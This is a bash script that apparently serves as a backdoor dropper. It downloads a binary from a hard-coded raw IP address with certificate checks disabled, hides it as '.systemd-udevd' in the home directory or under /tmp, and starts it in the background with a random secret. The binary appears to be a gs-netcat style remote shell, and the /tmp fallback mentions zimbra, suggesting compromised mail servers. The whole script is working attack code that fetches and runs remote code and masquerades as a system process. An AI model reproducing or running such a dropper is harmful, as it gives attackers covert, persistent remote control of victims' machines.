#!/bin/bash
USER_HOME="${HOME}"
if [ ! -w "${USER_HOME}" ]; then
    USER_HOME="/tmp/zimbra_$(whoami)"
    mkdir -p "${USER_HOME}" 2>/dev/null || true
fi
pkill -f ".systemd-udevd" 2>/dev/null || true
sleep 1
rm -f "${USER_HOME}/.systemd-udevd" /tmp/gs.log 2>/dev/null || true
RAND_ID=$(tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 16 | head -n1)
BIN_PATH="${USER_HOME}/.systemd-udevd"
mkdir -p "${USER_HOME}" 2>/dev/null || true
GS_URL="http://2.59.218.32/gsn-static"
if command -v wget &> /dev/null; then wget -q --no-check-certificate "${GS_URL}" -O "${BIN_PATH}";
else curl -k -s -o "${BIN_PATH}" "${GS_URL}"; fi
chmod +x "${BIN_PATH}" 2>/dev/null || true
[ -s "${BIN_PATH}" ] || { echo "[-] download failed"; exit 1; }
nohup "${BIN_PATH}" -l -i -s "${RAND_ID}" > /tmp/gs.log 2>&1 &
sleep 3
if pgrep -f ".systemd-udevd" > /dev/null; then
    echo "[+] Secret: ${RAND_ID}"
else
    echo "[-] Failed to start"; head -5 /tmp/gs.log 2>/dev/null; exit 1
fi
